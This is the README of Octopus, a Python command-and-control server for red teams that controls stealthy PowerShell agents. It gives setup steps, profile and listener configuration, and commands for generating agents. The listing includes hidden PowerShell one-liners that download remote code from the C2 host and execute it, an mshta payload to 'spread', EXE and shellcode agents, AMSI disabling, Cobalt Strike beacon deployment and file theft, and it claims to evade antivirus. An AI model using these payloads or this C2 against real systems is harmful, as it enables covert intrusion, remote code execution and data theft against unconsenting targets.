Octopus is an open source, pre-operation C2 server based on python which can control an Octopus powershell agent through HTTP/S.
The main purpose of creating Octopus is for use before any red team operation, where rather than starting the engagement with your full operational arsenal and infrastructure, you can use Octopus first to attack the target and gather information before you start your actual red team operation.
Octopus works in a very simple way to execute commands and exchange information with the C2 over a well encrypted channel, which makes it inconspicuous and undetectable from almost every AV, endpoint protection, and network monitoring solution.
One cool feature in Octopus is called ESA, which stands for "Endpoint Situational Awareness", which will gather some important information about the target that will help you to gain better understanding of the target network endpoints that you will face during your operation, thus giving you a shot to customize your real operation based on this information.
Octopus is designed to be stealthy and covert while communicating with the C2, as it uses AES-256 by default for its encrypted channel between the powershell agent and the C2 server. You can also opt for using SSL/TLS by providing a valid certficate for your domain and configuring the Octopus C2 server to use it.
Octopus is packed with a number of features that allows you to gain an insight into your upcoming engagement before you actually need to deploy your full aresenal or tools and techniques, such as:
- Control agents throught HTTP/S.
- Execute system commands.
- Download / Upload files.
- Load external powershell modules.
- Use encrypted channels (AES-256) between C2 and agents.
- Use inconspicuous techniques to execute commands and transfer results.
- Create custom and multiple listeners for each target.
- Generate different types of payloads.
- Support all windows versions with powershell 2.0 and higher.
- Run Octopus windows executable agent without touching powershell.exe process.
- Gather information automatically from the endpoint (endpoint situational awareness) feature.
You can install all of Octopus' requirements via :
pip install -r requirements.txt
You need to install nasm
for linux and 'mingw-w64' compiler to use the shellcoding feature and the spoofed args agent.
You can install nasm on Debian based distros using:
apt install nasm
And you can install mingw-w64
on Debian based distros using:
apt install mingw-w64
Octopus has been tested on the following operating systems:
- Ubuntu (18.04)
- Ubuntu (16.04)
- Kali Linux (2019.2)
You will also need to install mono to make sure that you can compile the C# source without issues.
Octopus depends on mono-csc binary to compile the C# source and you can install it by the following command apt install mono-devel
which has been tested on kali and ubuntu 16.04.
you can use Octopus without installing mono but you will not be able to use
generate_exe
command.
Also please note that compling C# depends on the System.Management.Automation.dll
assembly with SHA1 hash a43ed886b68c6ee913da85df9ad2064f1d81c470.
If you encounter any issues using Octopus, feel free to file a bug report!
First of all make sure to download the latest version of Octopus using the following command :
git clone https://github.com/mhaskar/Octopus/
Then you need to install the requirements using the following command :
pip install -r requirements.txt
After that you can start the octopus server by running the following :
./octopus.py
You will by greeted with the following once you run it :
┌─[[email protected]]─[/opt/redteaming/Octopus] └──╼ $python3 octopus.py ___ ___ ___ ___ ___ ___ / /\ / /\ ___ / /\ / /\ /__/\ / /\ / /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_ / /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\ / /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\ /__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\ \ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/ \ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/ \ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/ \ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/ \__\/ \__\/ \__\/ \__\/ \__\/ \__\/ v1.2 stable ! Octopus C2 | Control your shells Octopus >>
Using Octopus is quite simple to use, as you just need to start a listener and generate your agent based on that listener's information.
You can generate as many listeners as you need, and then you can start interacting with your agents that connect to them.
Profile setup
Before you can start using Octopus you have to setup a URL handling profile which will control the C2 behavior and functions, as Octopus is an HTTP based C2 thus it depends on URLs to handle the connections and to guarantee that the URLs will not serve as a signatures or IoC in the network you are currently attacking, the URLs can be easily customized and renamed as needed.
Profile setup currently only support URL handling, auto kill value and headers.
Setting up your profile
To start setting up your profile you need to edit the profile.py
file , which contains a number of key variables, which are:
- file_reciever_url: handles file downloading.
- report_url: handle ESA reports.
- command_send_url: handles the commands that will be sent to the target.
- command_receiver_url: handles commands will be executed on the target.
- first_ping_url: handles the first connection from the target.
- server_response_header: this header will show in every response.
- auto_kill: variable to control when the agent will be killed after N failed connections with the C2
Example:
#!/usr/bin/python3 # this is the web listener profile for Octopus C2 # you can customize your profile to handle a specific URLs to communicate with the agent # TODO : add the ability to customize the request headers # handling the file downloading # Ex : /anything # Ex : /anything.php file_receiver_url = "/messages" # handling the report generation # Ex : /anything # Ex : /anything.php report_url = "/calls" # command sending to agent (store the command will be executed on a host) # leave <hostname> as it with the same format # Ex : /profile/<hostname> # Ex : /messages/<hostname> # Ex : /bills/<hostname> command_send_url = "/view/<hostname>" # handling the executed command # Ex : /anything # Ex : /anything.php command_receiver_url = "/bills" # handling the first connection from the agent # Ex : /anything # Ex : /anything.php first_ping_url = "/login" # will return in every response as Server header server_response_header = "nginx" # will return white page that includes HTA script mshta_url = "/hta" # auto kill value after n tries auto_kill = 10
The agent and the listeners will be configured to use this profile to communicate with each other. Next we need to know how to create a listener.
Listeners
Octopus has two main listeners,"http listener" and "https listener" , and the options of the two listeners are mostly identical.
HTTP listener :
listen_http
command takes the following arguments to start:
- BindIP Defines the IP address that will be used by the listener.
- BindPort Defines the port you want to listen on.
- Hostname Will be used to request the payload from.
- Interval How number of seconds the agent will wait before checking for commands.
- URL The name of the page hosting the payload.
- Listener_name Listener name to use.
you can also view an example of it by running the listen_http
command:
Octopus >>listen_http [-] Please check listener arguments ! Syntax : listen_http BindIP BindPort hostname interval URL listener_name Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener ########## Options info : BindIP IP address that will be used by the listener BindPort port you want to listen on Hostname will be used to request the payload from Interval how may seconds that agent will wait before check for commands URL page name will hold the payload Listener_name listener name to use Octopus >>
And we can start a listener using the following command :
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
The following result will be returned:
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1 Octopus >> * Serving Flask app "core.weblistener" (lazy loading) * Environment: production WARNING: Do not use the development server in a production environment. Use a production WSGI server instead. * Debug mode: off Octopus >>
a listener has been started successfully, and we can view all the listeners using the listeners
command:
Octopus >>listeners Name IP Port Host Interval Path SSL ---------- ------- ------ ------------- ---------- -------- ----- operation1 0.0.0.0 8080 192.168.178.1 5 page.php False Octopus >>
HTTPS listener :
To create an HTTPS listener you can use listen_https
command as such:
Octopus >>listen_https [-] Please check listener arguments ! Syntax : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem SSL listener started ! [+]darkside_operation Listener has been created Octopus >> * Serving Flask app "core.weblistener" (lazy loading) * Environment: production WARNING: Do not use the development server in a production environment. Use a production WSGI server instead. * Debug mode: off Octopus >>
The listen_https
command takes the following arguments to start:
- BindIP : which is the IP address that will be used by the listener
- BindPort : which is the port you want to listen on
- Hostname : will be used to request the payload from
- Interval : how may seconds that agent will wait before check for commands
- URL page : name will hold the payload
- Listener_name : listener name to use
- certficate_path : path for valid ssl certficate (called fullchain.pem for letsencrypt certficates)
- key_path : path for valid key for the ssl cerficate (called key.pem for letsencrypt certficates)
Please note that you need to provide a valid SSL certficate that is associated with the domain used.
Generate agents
Powershell oneliner
To generate an agent for the listener operation1
we can use the following command:
generate_powershell operation1
and we will get the following result:
Octopus >>generate_powershell operation1 #==================== 1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');" 2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');" 3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;" Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;" e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');" Hack your way in ;) #==================== Octopus >>
Now we can use this oneliner to start our agent.
HTA oneliner
To generate a HTA oneliner for the listener1 operation1
we can use the following command:
generate_hta operation1
and we will get the following results:
Octopus >>generate_hta operation1 #==================== mshta http://192.168.178.1:8080/hta spread it and wait ;) #==================== Octopus >>
Please note that you can edit the /hta
URL using profile.py
Octopus EXE agent
To generate an EXE agent for listener operation1
we can use the following command:
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
and we will get the following result:
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe [+] file compiled successfully ! [+] binary file saved to /opt/Octopus/file.exe Octopus >>
Please note that you have to install mono-csc to compile the C# source.
Octopus Spoofed arguments agent
You can generate a new EXE agent that will run a Powershell process with spoofed arguments based on Adam Chester's brilliant research.
To generate this exe, you can use the following command:
Octopus >>generate_spoofed_args_exe [-] Please select a listener and check your options ! Syntax : generate_spoofed_args_exe listener_name output_path Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe Octopus >>
Generate x64 shellcode and x86 shellcode
Octopus can generate both x64 and x86 shellcode starting from version 1.2, the generated shellcode is using CreateProcessA to start powershell.exe oneliner that will launch powershell agent.
To generate x64 shellcode, you can use the following command:
Octopus >>generate_x64_shellcode [-] Please select a listener and check your options ! Syntax : generate_x64_shellcode listener_name Example : generate_x64_shellcode listener1 Octopus >>
To generate x86 shellcode, you can use the following command:
Octopus >>generate_x86_shellcode [-] Please select a listener and check your options ! Syntax : generate_x86_shellcode listener_name Example : generate_x86_shellcode listener1 Octopus >>
Interacting with agents
First of all you can list all connected agents using the list
command to get the following results:
Octopus >>list Session IP Hostname PID Username Domain Last ping OS --------- ------------ ----------- ----- ------------- ------------ ------------------------ -------------------------------- 1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit) Octopus >>
And then we can use the interact
command to interact with the host as follows:
Octopus >>list Session IP Hostname PID Username Domain Last ping OS --------- ------------ ----------- ----- ------------- ------------ ------------------------ -------------------------------- 1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit) Octopus >>interact 1 (HR-PC-TYRMJ) >>
You can list all the available commands using the help
command like the following:
Octopus >>list Session IP Hostname PID Username Domain Last ping OS --------- ------------ ----------- ----- ------------- ------------ ------------------------ -------------------------------- 1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit) Octopus >>interact 1 (HR-PC-TYRMJ) >> help Available commands to use : Hint : if you want to execute system command just type it and wait for the results +++++++++ help show this help menu exit/back exit current session and back to the main screen clear clear the screen output download download file from the target machine deploy_cobalt_beacon deploy cobalt strike powershell beacon in the current process load load powershell module to the target machine disable_amsi disable AMSI on the target machine report get situation report from the target (HR-PC-TYRMJ) >>
To execute a system command directly we can type the command directly and then wait for the results based on the interval check time that we set when we created the listener.
(HR-PC-TYRMJ) >> ipconfig [+] Command sent , waiting for results (HR-PC-TYRMJ) >> Command execution result is : Windows IP Configuration Ethernet adapter Ethernet1: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : home Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10 IPv4 Address. . . . . . . . . . . : 192.168.1.43 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1 Ethernet adapter Ethernet: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Ethernet adapter Bluetooth Network Connection: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : (HR-PC-TYRMJ) >>
In this case the command has been encrypted and then sent to the agent, after that the client will decrypt the command and execute it, the agent will encrypt the results, and finally send it back again to the C2 to decrypt it and show the results.
We can also use the report
command to get the ESA information like the following:
(HR-PC-TYRMJ) >> report [+] Command sent , waiting for results (HR-PC-TYRMJ) >> Endpoint situation awareness report for HR-PC-QNGAV ============= Hostname : HR-PC-QNGAV Domain : darkside.com OS : Microsoft Windows 10 Pro(64-bit) OS build : 10.0.17134 OS arch : 64-bit AntiVirus : Symantec SIEM solution : False Internal interfaces/IPs : IP : 192.168.178.144 IP : 172.12.1.20 Device language : en-US Device uptime : 41.6386169797778 hours Device local time : 21:55(09/09/2019) (HR-PC-TYRMJ) >>
You can load an external powershell module by placing it in the modules
directory, then executing load module.ps1
.
Also you can list all of the modules in the modules directory by executing the modules
command like so:
(HR-PC-TYRMJ) >> modules PowerView.ps1 (HR-PC-TYRMJ) >> load PowerView.ps1 [+] Module should be loaded ! (HR-PC-TYRMJ) >>
-
Octopus v1.0 stable: Cobalt Strike deployment & much more!
-
Ian Lyte for reporting multiple bugs in Octopus and pushing an enhanced AMSI bypass module.
-
Khlief for adding HTA module and fix a bug in download feature
-
Moath Maharmah for enhancing the encryption module and writing a standalone C# Octopus agent which will be added to the upcoming release.
-
TeslaPulse for testing Octopus
-
J005 for adding enhanced Powershell oneliner and fix an issue in the HID attack script.
This project is licensed under the GPL-3.0 License - see the LICENSE file for details